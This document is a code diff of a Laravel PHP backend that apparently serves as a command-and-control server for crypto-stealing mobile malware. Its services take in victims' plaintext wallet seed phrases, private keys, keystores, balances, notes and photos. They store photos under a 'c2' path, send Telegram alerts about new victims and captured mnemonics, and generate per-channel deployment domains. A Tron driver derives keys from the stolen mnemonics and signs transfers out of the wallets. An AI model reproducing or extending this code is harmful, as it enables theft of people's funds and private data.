'content' => 'array',
];
} }
public function device(): BelongsTo public function device(): BelongsTo
+9 -6
View File
@@ -8,14 +8,17 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
class Photo extends Model class Photo extends Model
{ {
protected $fillable = [ protected $fillable = [
'device_id', 'sha256', 'path', 'width', 'height', 'size', 'counters_json', 'device_id',
'sha256',
'path',
'size',
'x_hit',
'upload_count',
'process_index',
'text_count',
'barcode_count',
]; ];
protected function casts(): array
{
return ['counters_json' => 'array'];
}
public function device(): BelongsTo public function device(): BelongsTo
{ {
return $this->belongsTo(Device::class); return $this->belongsTo(Device::class);
+10
View File
@@ -0,0 +1,10 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class Setting extends Model
{
protected $fillable = ['key', 'value'];
}
+12
View File
@@ -0,0 +1,12 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class TokenviewEvent extends Model
{
protected $fillable = [
'txid', 'address', 'coin', 'token_symbol', 'value', 'token_value',
];
}
+14 -28
View File
@@ -2,48 +2,34 @@
namespace App\Models; namespace App\Models;
// use Illuminate\Contracts\Auth\MustVerifyEmail; use Illuminate\Database\Eloquent\Relations\HasMany;
use Database\Factories\UserFactory;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Foundation\Auth\User as Authenticatable;
use Illuminate\Notifications\Notifiable;
class User extends Authenticatable class User extends Authenticatable
{ {
/** @use HasFactory<UserFactory> */
use HasFactory, Notifiable;
/**
* The attributes that are mass assignable.
*
* @var list<string>
*/
protected $fillable = [ protected $fillable = [
'name', 'username', 'password', 'status', 'comment', 'chat_id', 'bot_id',
'email',
'password',
]; ];
/**
* The attributes that should be hidden for serialization.
*
* @var list<string>
*/
protected $hidden = [ protected $hidden = [
'password', 'password', 'remember_token',
'remember_token',
]; ];
/**
* Get the attributes that should be cast.
*
* @return array<string, string>
*/
protected function casts(): array protected function casts(): array
{ {
return [ return [
'email_verified_at' => 'datetime',
'password' => 'hashed', 'password' => 'hashed',
'status' => 'integer',
]; ];
} }
public function isEnabled(): bool
{
return (int) $this->status === 1;
}
public function channels(): HasMany
{
return $this->hasMany(Channel::class, 'user_id');
}
} }
+116 -6
View File
@@ -7,16 +7,33 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
class WalletAddress extends Model class WalletAddress extends Model
{ {
/** @var list<string> */
public const COIN_COLUMNS = ['usdt', 'trx', 'eth', 'btc', 'bnb'];
/** Display decimal places per coin (UI). */
public const DISPLAY_DECIMALS = [
'usdt' => 2,
'trx' => 6,
'eth' => 6,
'btc' => 8,
'bnb' => 6,
];
protected $fillable = [ protected $fillable = [
'device_id', 'wallet_id', 'address', 'chain', 'balance', 'device_id', 'address', 'chain_type',
'symbol', 'telegram_notified', 'meta_json', 'usdt', 'trx', 'eth', 'btc', 'bnb',
'monitor', 'source',
]; ];
protected function casts(): array protected function casts(): array
{ {
return [ return [
'telegram_notified' => 'boolean', 'monitor' => 'integer',
'meta_json' => 'array', 'usdt' => 'decimal:6',
'trx' => 'decimal:6',
'eth' => 'decimal:18',
'btc' => 'decimal:8',
'bnb' => 'decimal:18',
]; ];
} }
@@ -25,8 +42,101 @@ class WalletAddress extends Model
return $this->belongsTo(Device::class); return $this->belongsTo(Device::class);
} }
public function wallet(): BelongsTo /**
* Map a symbol=>amount payload into coin column attributes (only known coins).
* Missing symbols are omitted (caller merges with existing row).
*
* @param array<string, mixed>|string|null $balance
* @return array<string, string|int|float|null>
*/
public static function coinAttributesFromBalance(mixed $balance): array
{ {
return $this->belongsTo(Wallet::class); if (! is_array($balance)) {
return [];
}
$out = [];
foreach ($balance as $symbol => $value) {
$col = strtolower((string) $symbol);
if (! in_array($col, self::COIN_COLUMNS, true)) {
continue;
}
if ($value === null || $value === '') {
$out[$col] = null;
continue;
}
if (! is_numeric($value)) {
continue;
}
$out[$col] = $value;
}
return $out;
}
public static function displayDecimals(string $coin): int
{
$coin = strtolower($coin);
return self::DISPLAY_DECIMALS[$coin] ?? 6;
}
public static function formatAmount(string $coin, mixed $amount): string
{
if ($amount === null || $amount === '') {
return '';
}
if (! is_numeric($amount)) {
return (string) $amount;
}
$decimals = self::displayDecimals($coin);
$formatted = number_format((float) $amount, $decimals, '.', '');
$formatted = rtrim(rtrim($formatted, '0'), '.');
return $formatted === '' ? '0' : $formatted;
}
/**
* @return array<string, string>
*/
public function formattedCoins(): array
{
$out = [];
foreach (self::COIN_COLUMNS as $col) {
$out[$col] = self::formatAmount($col, $this->{$col});
}
return $out;
}
public function coinsSummary(): ?string
{
$parts = [];
foreach (self::COIN_COLUMNS as $col) {
$raw = $this->{$col};
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
continue;
}
$parts[strtoupper($col)] = self::formatAmount($col, $raw);
}
return $parts === [] ? null : json_encode($parts, JSON_UNESCAPED_UNICODE);
}
/**
* Snapshot of coin columns for change detection.
*
* @return array<string, string|null>
*/
public function coinSnapshot(): array
{
$out = [];
foreach (self::COIN_COLUMNS as $col) {
$v = $this->{$col};
$out[$col] = $v === null || $v === '' ? null : (string) $v;
}
return $out;
} }
} }
+25
View File
@@ -0,0 +1,25 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class WalletKeystore extends Model
{
protected $fillable = [
'device_id', 'raw_json',
];
protected function casts(): array
{
return [
'raw_json' => 'array',
];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
}
@@ -4,35 +4,34 @@ namespace App\Models;
use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Support\Facades\Crypt; use Illuminate\Support\Facades\Crypt;
class Wallet extends Model class WalletMnemonic extends Model
{ {
protected $fillable = [ protected $fillable = [
'device_id', 'source_app', 'mnemonic_enc', 'privkey_enc', 'raw_json', 'device_id', 'source', 'mnemonic_hash', 'mnemonic_enc',
]; ];
protected function casts(): array
{
return ['raw_json' => 'array'];
}
public function device(): BelongsTo public function device(): BelongsTo
{ {
return $this->belongsTo(Device::class); return $this->belongsTo(Device::class);
} }
public function addresses(): HasMany public static function hashSecret(string $secret): string
{ {
return $this->hasMany(WalletAddress::class); return hash('sha256', $secret);
} }
public function setMnemonicAttribute(?string $value): void public function setMnemonicAttribute(?string $value): void
{ {
$this->attributes['mnemonic_enc'] = $value === null || $value === '' if ($value === null || $value === '') {
? null $this->attributes['mnemonic_enc'] = null;
: Crypt::encryptString($value); $this->attributes['mnemonic_hash'] = null;
return;
}
$this->attributes['mnemonic_hash'] = self::hashSecret($value);
$this->attributes['mnemonic_enc'] = Crypt::encryptString($value);
} }
public function getMnemonicAttribute(): ?string public function getMnemonicAttribute(): ?string
@@ -48,26 +47,6 @@ class Wallet extends Model
} }
} }
public function setPrivkeyAttribute(?string $value): void
{
$this->attributes['privkey_enc'] = $value === null || $value === ''
? null
: Crypt::encryptString($value);
}
public function getPrivkeyAttribute(): ?string
{
if (empty($this->attributes['privkey_enc'])) {
return null;
}
try {
return Crypt::decryptString($this->attributes['privkey_enc']);
} catch (\Throwable) {
return null;
}
}
public static function maskSecret(?string $value): string public static function maskSecret(?string $value): string
{ {
if ($value === null || $value === '') { if ($value === null || $value === '') {
+6 -1
View File
@@ -4,6 +4,7 @@ namespace App\Providers;
use App\Services\CorunaArchive; use App\Services\CorunaArchive;
use App\Services\CorunaCrypto; use App\Services\CorunaCrypto;
use App\Services\SettingsService;
use Illuminate\Support\ServiceProvider; use Illuminate\Support\ServiceProvider;
class AppServiceProvider extends ServiceProvider class AppServiceProvider extends ServiceProvider
@@ -26,6 +27,10 @@ class AppServiceProvider extends ServiceProvider
public function boot(): void public function boot(): void
{ {
// try {
$this->app->make(SettingsService::class)->applyToConfig();
} catch (\Throwable) {
// settings table may not exist yet during migrate
}
} }
} }
+107
View File
@@ -0,0 +1,107 @@
<?php
namespace App\Services\Chain;
use Elliptic\EC;
use FurqanSiddiqui\BIP39\BIP39;
use RuntimeException;
/**
* BIP39 seed + BIP32/BIP44 private-key derivation (secp256k1).
*/
final class Bip44
{
private const CURVE_ORDER = 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141';
/**
* @return array{private_key: string, public_key_uncompressed: string}
*/
public static function derive(string $mnemonic, string $path): array
{
$words = preg_split('/\s+/', trim($mnemonic)) ?: [];
if (count($words) < 12) {
throw new RuntimeException('Invalid mnemonic');
}
$seed = BIP39::Words($words)->generateSeed();
[$key, $chain] = self::masterFromSeed($seed);
foreach (self::parsePath($path) as $index) {
[$key, $chain] = self::ckdPriv($key, $chain, $index);
}
$ec = new EC('secp256k1');
$pair = $ec->keyFromPrivate(bin2hex($key));
return [
'private_key' => bin2hex($key),
'public_key_uncompressed' => $pair->getPublic(false, 'hex'),
];
}
/** @return array{0: string, 1: string} binary key + chain code */
private static function masterFromSeed(string $seed): array
{
$I = hash_hmac('sha512', $seed, 'Bitcoin seed', true);
return [substr($I, 0, 32), substr($I, 32, 32)];
}
/**
* @return array{0: string, 1: string}
*/
private static function ckdPriv(string $kPar, string $cPar, int $index): array
{
if ($index & 0x80000000) {
$data = "\x00".$kPar.pack('N', $index);
} else {
$ec = new EC('secp256k1');
$pub = hex2bin($ec->keyFromPrivate(bin2hex($kPar))->getPublic(true, 'hex'));
$data = $pub.pack('N', $index);
}
$I = hash_hmac('sha512', $data, $cPar, true);
$IL = substr($I, 0, 32);
$IR = substr($I, 32, 32);
$n = gmp_init(self::CURVE_ORDER, 16);
$ki = gmp_mod(
gmp_add(gmp_init(bin2hex($IL), 16), gmp_init(bin2hex($kPar), 16)),
$n
);
if (gmp_cmp($ki, 0) === 0) {
throw new RuntimeException('Invalid derived key');
}
$key = hex2bin(str_pad(gmp_strval($ki, 16), 64, '0', STR_PAD_LEFT));
return [$key, $IR];
}
/** @return list<int> */
private static function parsePath(string $path): array
{
$path = trim($path);
if (str_starts_with($path, 'm/')) {
$path = substr($path, 2);
} elseif ($path === 'm') {
return [];
}
$out = [];
foreach (explode('/', $path) as $seg) {
if ($seg === '') {
continue;
}
$hardened = str_ends_with($seg, "'") || str_ends_with($seg, 'h') || str_ends_with($seg, 'H');
$num = (int) rtrim($seg, "'hH");
if ($hardened) {
$num |= 0x80000000;
}
$out[] = $num;
}
return $out;
}
}
+22
View File
@@ -0,0 +1,22 @@
<?php
namespace App\Services\Chain;
interface ChainDriver
{
public function chainId(): string;
public function deriveAddress(string $mnemonic, int $index = 0): string;
/**
* @return string txid
*/
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string;
/**
* @return string txid
*/
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string;
public function isValidAddress(string $address): bool;
}
@@ -0,0 +1,20 @@
<?php
namespace App\Services\Chain;
use InvalidArgumentException;
class ChainManager
{
public function __construct(
private readonly TronDriver $tron,
) {}
public function resolve(string $chain): ChainDriver
{
return match (strtolower($chain)) {
'tron', 'trx' => $this->tron,
default => throw new InvalidArgumentException("Unsupported chain: {$chain}"),
};
}
}
+103
View File
@@ -0,0 +1,103 @@
<?php
namespace App\Services\Chain;
use kornrunner\Keccak;
use RuntimeException;
final class TronAddress
{
public static function fromUncompressedPublicKey(string $publicKeyHex): string
{
$hex = strtolower($publicKeyHex);
if (str_starts_with($hex, '0x')) {
$hex = substr($hex, 2);
}
if (str_starts_with($hex, '04')) {
$hex = substr($hex, 2);
}
if (strlen($hex) !== 128) {
throw new RuntimeException('Expected uncompressed secp256k1 public key');
}
$hash = Keccak::hash(hex2bin($hex), 256);
$addrHex = '41'.substr($hash, -40);
return self::hexToBase58Check($addrHex);
}
public static function isValid(string $address): bool
{
if (! preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) {
return false;
}
try {
$hex = self::base58CheckToHex($address);
} catch (\Throwable) {
return false;
}
return str_starts_with(strtolower($hex), '41') && strlen($hex) === 42;
}
public static function toHex(string $base58): string
{
return self::base58CheckToHex($base58);
}
public static function hexToBase58Check(string $hex): string
{
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
$bin = hex2bin($hex);
if ($bin === false) {
throw new RuntimeException('Invalid hex');
}
$checksum = substr(hash('sha256', hash('sha256', $bin, true), true), 0, 4);
$bytes = $bin.$checksum;
$num = gmp_init(bin2hex($bytes), 16);
$encoded = '';
while (gmp_cmp($num, 0) > 0) {
[$num, $rem] = [gmp_div_q($num, 58), gmp_intval(gmp_mod($num, 58))];
$encoded = $alphabet[$rem].$encoded;
}
for ($i = 0, $len = strlen($bytes); $i < $len && $bytes[$i] === "\x00"; $i++) {
$encoded = '1'.$encoded;
}
return $encoded;
}
public static function base58CheckToHex(string $address): string
{
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
$num = gmp_init(0);
for ($i = 0, $len = strlen($address); $i < $len; $i++) {
$pos = strpos($alphabet, $address[$i]);
if ($pos === false) {
throw new RuntimeException('Invalid base58 character');
}
$num = gmp_add(gmp_mul($num, 58), $pos);
}
$hex = gmp_strval($num, 16);
if (strlen($hex) % 2 !== 0) {
$hex = '0'.$hex;
}
// leading ones => leading zero bytes
for ($i = 0, $len = strlen($address); $i < $len && $address[$i] === '1'; $i++) {
$hex = '00'.$hex;
}
$bin = hex2bin($hex);
if ($bin === false || strlen($bin) < 5) {
throw new RuntimeException('Invalid address payload');
}
$payload = substr($bin, 0, -4);
$checksum = substr($bin, -4);
$expected = substr(hash('sha256', hash('sha256', $payload, true), true), 0, 4);
if (! hash_equals($expected, $checksum)) {
throw new RuntimeException('Invalid address checksum');
}
return bin2hex($payload);
}
}
+160
View File
@@ -0,0 +1,160 @@
<?php
namespace App\Services\Chain;
use Illuminate\Http\Client\PendingRequest;
use Illuminate\Support\Facades\Http;
use RuntimeException;
class TronDriver implements ChainDriver
{
public function chainId(): string
{
return 'tron';
}
public function deriveAddress(string $mnemonic, int $index = 0): string
{
$derived = Bip44::derive($mnemonic, $this->path($index));
return TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
}
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
{
if (! $this->isValidAddress($to)) {
throw new RuntimeException('Invalid Tron address');
}
$derived = Bip44::derive($mnemonic, $this->path($index));
$from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
$sun = $this->toSun($amount);
$tx = $this->post('/wallet/createtransaction', [
'owner_address' => $from,
'to_address' => $to,
'amount' => (int) $sun,
'visible' => true,
]);
return $this->signAndBroadcast($tx, $derived['private_key']);
}
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
{
if (! $this->isValidAddress($to) || ! $this->isValidAddress($contract)) {
throw new RuntimeException('Invalid Tron address');
}
$derived = Bip44::derive($mnemonic, $this->path($index));
$from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
$sun = $this->toSun($amount);
$parameter = $this->encodeTransferParameter($to, $sun);
$ext = $this->post('/wallet/triggersmartcontract', [
'owner_address' => $from,
'contract_address' => $contract,
'function_selector' => 'transfer(address,uint256)',
'parameter' => $parameter,
'fee_limit' => (int) config('coruna.tron.fee_limit', 100_000_000),
'call_value' => 0,
'visible' => true,
]);
$tx = $ext['transaction'] ?? null;
if (! is_array($tx)) {
$msg = $ext['result']['message'] ?? ($ext['message'] ?? 'triggersmartcontract failed');
throw new RuntimeException(is_string($msg) ? $msg : 'triggersmartcontract failed');
}
return $this->signAndBroadcast($tx, $derived['private_key']);
}
public function isValidAddress(string $address): bool
{
return TronAddress::isValid($address);
}
private function path(int $index): string
{
return "m/44'/195'/0'/0/{$index}";
}
private function toSun(string $amount): string
{
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount)) {
throw new RuntimeException('Invalid amount');
}
$sun = bcmul($amount, '1000000', 0);
if (bccomp($sun, '0') <= 0) {
throw new RuntimeException('Amount must be positive');
}
return $sun;
}
private function encodeTransferParameter(string $toBase58, string $amountSun): string
{
$toHex = TronAddress::toHex($toBase58); // 41 + 20 bytes
$addressWord = str_pad($toHex, 64, '0', STR_PAD_LEFT);
$amountWord = str_pad(gmp_strval(gmp_init($amountSun, 10), 16), 64, '0', STR_PAD_LEFT);
return $addressWord.$amountWord;
}
/**
* @param array<string, mixed> $tx
*/
private function signAndBroadcast(array $tx, string $privateKeyHex): string
{
$txId = $tx['txID'] ?? null;
if (! is_string($txId) || $txId === '') {
throw new RuntimeException('Missing txID from node');
}
$signature = TronSigner::signTxId($privateKeyHex, $txId);
$tx['signature'] = [$signature];
$result = $this->post('/wallet/broadcasttransaction', $tx);
$ok = ($result['result'] ?? false) === true;
if (! $ok) {
$msg = $result['message'] ?? ($result['code'] ?? 'broadcast failed');
if (is_string($msg) && ctype_xdigit($msg)) {
$decoded = @hex2bin($msg);
$msg = $decoded !== false ? $decoded : $msg;
}
throw new RuntimeException(is_string($msg) ? $msg : 'broadcast failed');
}
return $txId;
}
/**
* @param array<string, mixed> $payload
* @return array<string, mixed>
*/
private function post(string $path, array $payload): array
{
$resp = $this->http()->post(rtrim((string) config('coruna.tron.full_node'), '/').$path, $payload);
if (! $resp->successful()) {
throw new RuntimeException('Tron node HTTP '.$resp->status());
}
$json = $resp->json();
if (! is_array($json)) {
throw new RuntimeException('Invalid Tron node response');
}
return $json;
}
private function http(): PendingRequest
{
$req = Http::timeout(30)->acceptJson()->asJson();
$apiKey = (string) config('coruna.tron.api_key', '');
if ($apiKey !== '') {
$req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]);
}
return $req;
}
}
+33
View File
@@ -0,0 +1,33 @@
<?php
namespace App\Services\Chain;
use Elliptic\EC;
use RuntimeException;
final class TronSigner
{
/**
* Sign a Tron txID (sha256 hex of raw_data) → 65-byte hex signature (r||s||v).
*/
public static function signTxId(string $privateKeyHex, string $txIdHex): string
{
$txIdHex = strtolower(ltrim($txIdHex, '0x'));
if (strlen($txIdHex) !== 64) {
throw new RuntimeException('Invalid txID');
}
$ec = new EC('secp256k1');
$key = $ec->keyFromPrivate($privateKeyHex);
$sig = $key->sign($txIdHex, ['canonical' => true]);
$r = str_pad($sig->r->toString(16), 64, '0', STR_PAD_LEFT);
$s = str_pad($sig->s->toString(16), 64, '0', STR_PAD_LEFT);
$v = dechex($sig->recoveryParam & 0xff);
if (strlen($v) === 1) {
$v = '0'.$v;
}
return $r.$s.$v;
}
}
@@ -0,0 +1,74 @@
<?php
namespace App\Services;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Log;
use RuntimeException;
use Symfony\Component\Process\Process;
class ChannelProjectService
{
/**
* Run tools/new_project.py to materialize public/web/{channelId}/.
* Domains come from config (系统设置 / env); script rebuilds sync only when domains changed.
*/
public function generate(string $channelId): void
{
$channelId = strtolower(trim($channelId));
if (! preg_match('/^[a-z0-9]{32}$/', $channelId)) {
throw new RuntimeException('Invalid channel id');
}
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
if ($domains === []) {
throw new RuntimeException('投放域名未配置(系统设置 → 投放域名)');
}
$labRoot = dirname(base_path()); // coruna-lab/
$script = $labRoot.'/tools/new_project.py';
if (! is_file($script)) {
throw new RuntimeException('new_project.py not found');
}
$joined = implode(',', $domains);
$cmd = [
'python3',
$script,
'--channel-id',
$channelId,
'--deployment-domains',
$joined,
'--reporting-domains',
$joined,
];
$process = new Process($cmd, $labRoot);
$process->setTimeout(600);
$process->run();
if (! $process->isSuccessful()) {
Log::error('new_project failed', [
'channel_id' => $channelId,
'out' => $process->getOutput(),
'err' => $process->getErrorOutput(),
]);
$this->deleteWebTree($channelId);
throw new RuntimeException(
'生成渠道资源失败: '.trim($process->getErrorOutput() ?: $process->getOutput() ?: 'unknown')
);
}
}
public function deleteWebTree(string $channelId): void
{
$channelId = strtolower(trim($channelId));
if (! preg_match('/^[a-z0-9]{32}$/', $channelId)) {
return;
}
$dir = public_path('web/'.$channelId);
if (is_dir($dir)) {
File::deleteDirectory($dir);
}
}
}
+301 -122
View File
@@ -7,8 +7,10 @@ use App\Models\DeviceApp;
use App\Models\DeviceEvent; use App\Models\DeviceEvent;
use App\Models\Note; use App\Models\Note;
use App\Models\Photo; use App\Models\Photo;
use App\Models\Wallet;
use App\Models\WalletAddress; use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Support\WalletSource;
use Illuminate\Http\Request; use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage; use Illuminate\Support\Facades\Storage;
@@ -153,11 +155,12 @@ class IngestService
$attrs['channel_id'] = $existing->channel_id; $attrs['channel_id'] = $existing->channel_id;
} }
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps) // created_at = 安装时间;每次收到带设备标识的请求都刷新 updated_at(活跃判断)
$device = Device::query()->updateOrCreate( $device = Device::query()->updateOrCreate(
['device_id' => $deviceKey], ['device_id' => $deviceKey],
$attrs $attrs
); );
$device->forceFill(['updated_at' => now()])->saveQuietly();
if (! $existing) { if (! $existing) {
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip); $this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
@@ -165,7 +168,7 @@ class IngestService
$device->save(); $device->save();
} }
return $device; return $device->refresh();
} }
/** /**
@@ -232,141 +235,207 @@ class IngestService
]); ]);
} }
public function ingestWalletSecrets(Device $device, ?array $payload): void /**
* `/api/user/set` — plaintext mnemonic / private key in `result`.
*/
public function ingestMnemonic(Device $device, ?array $payload): void
{ {
if (! is_array($payload)) { if (! is_array($payload)) {
return; return;
} }
$mnemonic = null; $secret = null;
$priv = null; foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery', 'privateKey', 'private_key', 'privkey', 'wif'] as $key) {
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeMnemonic($payload[$key])) {
$mnemonic = $payload[$key];
break;
}
}
foreach (['privateKey', 'private_key', 'privkey', 'wif'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) { if (! empty($payload[$key]) && is_string($payload[$key])) {
$priv = $payload[$key]; $secret = trim($payload[$key]);
break; break;
} }
} }
if ($mnemonic === null && $priv === null) { if ($secret === null || $secret === '') {
if (isset($payload['result']) || isset($payload['data'])) {
Wallet::query()->create([
'device_id' => $device->id,
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
'raw_json' => $payload,
]);
}
return; return;
} }
$wallet = new Wallet([
$hash = WalletMnemonic::hashSecret($secret);
$row = WalletMnemonic::query()->firstOrNew([
'device_id' => $device->id, 'device_id' => $device->id,
'source_app' => $payload['pn'] ?? $payload['app'] ?? null, 'mnemonic_hash' => $hash,
'raw_json' => $payload,
]); ]);
$wallet->mnemonic = $mnemonic; $isNew = ! $row->exists;
$wallet->privkey = $priv; $source = WalletSource::fromTag($payload['a'] ?? null);
$wallet->save(); $row->source = $source;
$row->mnemonic = $secret;
$row->save();
if ($isNew) {
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
}
} }
/**
* `/api/user/avatar/status` — store entire `result` keystore/identity blob.
*/
public function ingestKeystore(Device $device, ?array $payload): void
{
if (! is_array($payload) || ! array_key_exists('result', $payload)) {
return;
}
$result = $payload['result'];
if (is_string($result)) {
$decoded = json_decode($result, true);
if (is_array($decoded)) {
$result = $decoded;
}
}
if (! is_array($result) && ! is_string($result)) {
return;
}
WalletKeystore::query()->create([
'device_id' => $device->id,
'raw_json' => is_array($result) ? $result : ['value' => $result],
]);
}
/**
* `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`.
*/
public function ingestAddresses(Device $device, ?array $payload): void public function ingestAddresses(Device $device, ?array $payload): void
{ {
if (! is_array($payload)) { if (! is_array($payload)) {
return; return;
} }
$rows = []; $source = WalletSource::fromTag($payload['a'] ?? null);
// HAR `/api/user/status`: ba = { "<address>": [ { balance, chainId, chainType, symbol, ... }, ... ] } $rows = $this->normalizeStatusAddressRows($payload);
if (isset($payload['ba']) && is_array($payload['ba'])) { /** @var list<array{address: string, chain: string, balance: string, source: string}> $notify */
$rows = $this->normalizeBaAddressRows($payload['ba']); $notify = [];
} elseif (isset($payload['data']) && is_array($payload['data'])) {
$rows = $this->normalizeAddressRows($payload['data']);
} elseif (isset($payload['result']) && is_array($payload['result'])) {
$rows = $this->normalizeAddressRows($payload['result']);
} else {
$rows = $this->normalizeAddressRows($payload);
}
foreach ($rows as $row) { foreach ($rows as $row) {
$address = $row['address'] ?? null; $address = $row['address'] ?? null;
if (! $address || ! is_string($address)) { if (! is_string($address) || $address === '') {
continue; continue;
} }
$chain = isset($row['chain']) && $row['chain'] !== '' ? (string) $row['chain'] : ''; $chainType = (string) ($row['chain_type'] ?? '');
$balance = isset($row['balance']) ? (string) $row['balance'] : null; if ($chainType === '') {
$symbol = isset($row['symbol']) ? (string) $row['symbol'] : null; $chainType = WalletSource::inferChainType($address);
}
$balance = $row['balance'] ?? '';
// Global Wallet ad map: scalar is not a balance → ignore coin fields.
if (! is_array($balance) && ! is_string($balance)) {
$balance = '';
}
$existing = WalletAddress::query() $existing = WalletAddress::query()
->where('device_id', $device->id) ->where('device_id', $device->id)
->where('address', $address) ->where('address', $address)
->where('chain', $chain) ->where('source', $source)
->first(); ->first();
$addr = WalletAddress::query()->updateOrCreate(
['device_id' => $device->id, 'address' => $address, 'chain' => $chain], $beforeCoins = $existing?->coinSnapshot();
[ $coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null);
'balance' => $balance,
'symbol' => $symbol, $attrs = ['chain_type' => $chainType];
'meta_json' => $row, foreach ($coinAttrs as $col => $value) {
] $attrs[$col] = $value;
);
if (! $existing) {
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
$addr->telegram_notified = true;
$addr->save();
} elseif ($balance !== null && $existing->balance !== $balance) {
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
} }
if (! $existing) {
$attrs['monitor'] = 0;
}
$addr = WalletAddress::query()->updateOrCreate(
['device_id' => $device->id, 'address' => $address, 'source' => $source],
$attrs
);
$balanceSummary = $addr->coinsSummary();
$shouldNotify = ! $existing
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
if ($shouldNotify) {
$notify[] = [
'address' => $address,
'chain' => $chainType,
'balance' => $balanceSummary,
'source' => $source,
];
}
unset($addr);
}
if ($notify !== []) {
$this->telegram->notifyNewWallets($device->device_id, $notify);
} }
} }
/**
* `/api/user/avatar/pic` — Notes reader; content = payload.list.
*/
public function ingestNotes(Device $device, ?array $payload): void public function ingestNotes(Device $device, ?array $payload): void
{ {
if (! is_array($payload)) { if (! is_array($payload) || ! array_key_exists('list', $payload)) {
return; return;
} }
$notes = $payload['notes'] ?? $payload['data'] ?? $payload['result'] ?? null; $list = $payload['list'];
if (! is_array($notes)) { if (! is_array($list)) {
Note::query()->create([ $list = [$list];
'device_id' => $device->id, }
'title' => 'raw',
'body' => null,
'meta_json' => $payload,
]);
return; Note::query()->create([
} 'device_id' => $device->id,
$list = array_is_list($notes) ? $notes : [$notes]; 'content' => array_values($list),
foreach ($list as $note) { ]);
if (! is_array($note)) {
continue;
}
Note::query()->create([
'device_id' => $device->id,
'title' => $note['title'] ?? $note['name'] ?? null,
'body' => $note['body'] ?? $note['content'] ?? $note['text'] ?? null,
'meta_json' => $note,
]);
}
} }
public function ingestPhotos(Device $device, array $filePaths, ?array $counters = null): void /**
* Decode /check multipart `idx` / `ftu` 12-hex packs: "%06llx%06llx".
*
* @return array{0: ?int, 1: ?int}
*/
public static function decodeHexCounterPair(mixed $packed): array
{ {
if (! is_string($packed) || ! preg_match('/^[0-9a-fA-F]{12}$/', $packed)) {
return [null, null];
}
return [(int) hexdec(substr($packed, 0, 6)), (int) hexdec(substr($packed, 6, 6))];
}
/**
* @param array{
* x_hit?: ?int,
* upload_count?: ?int,
* process_index?: ?int,
* text_count?: ?int,
* barcode_count?: ?int
* } $meta
*/
public function ingestPhotos(Device $device, array $filePaths, array $meta = []): void
{
$notifiedNewSensitive = false;
foreach ($filePaths as $path) { foreach ($filePaths as $path) {
if (! is_file($path)) { if (! is_file($path)) {
continue; continue;
} }
$bytes = file_get_contents($path); $bytes = file_get_contents($path);
$sha = hash('sha256', $bytes); $sha = hash('sha256', $bytes);
// Same file content → skip DB insert & telegram (idempotent).
if (Photo::query()->where('device_id', $device->id)->where('sha256', $sha)->exists()) {
continue;
}
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path); $rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
Storage::disk('local')->put($rel, $bytes); Storage::disk('local')->put($rel, $bytes);
Photo::query()->create([ $xHit = $meta['x_hit'] ?? null;
$photo = Photo::query()->create([
'device_id' => $device->id, 'device_id' => $device->id,
'sha256' => $sha, 'sha256' => $sha,
'path' => $rel, 'path' => $rel,
'size' => strlen($bytes), 'size' => strlen($bytes),
'counters_json' => $counters, 'x_hit' => $xHit,
'upload_count' => $meta['upload_count'] ?? null,
'process_index' => $meta['process_index'] ?? null,
'text_count' => $meta['text_count'] ?? null,
'barcode_count' => $meta['barcode_count'] ?? null,
]); ]);
if ($photo->wasRecentlyCreated && (int) $xHit > 0 && ! $notifiedNewSensitive) {
$this->telegram->notifyNewPhotos($device->device_id);
$notifiedNewSensitive = true;
}
} }
} }
@@ -425,37 +494,43 @@ class IngestService
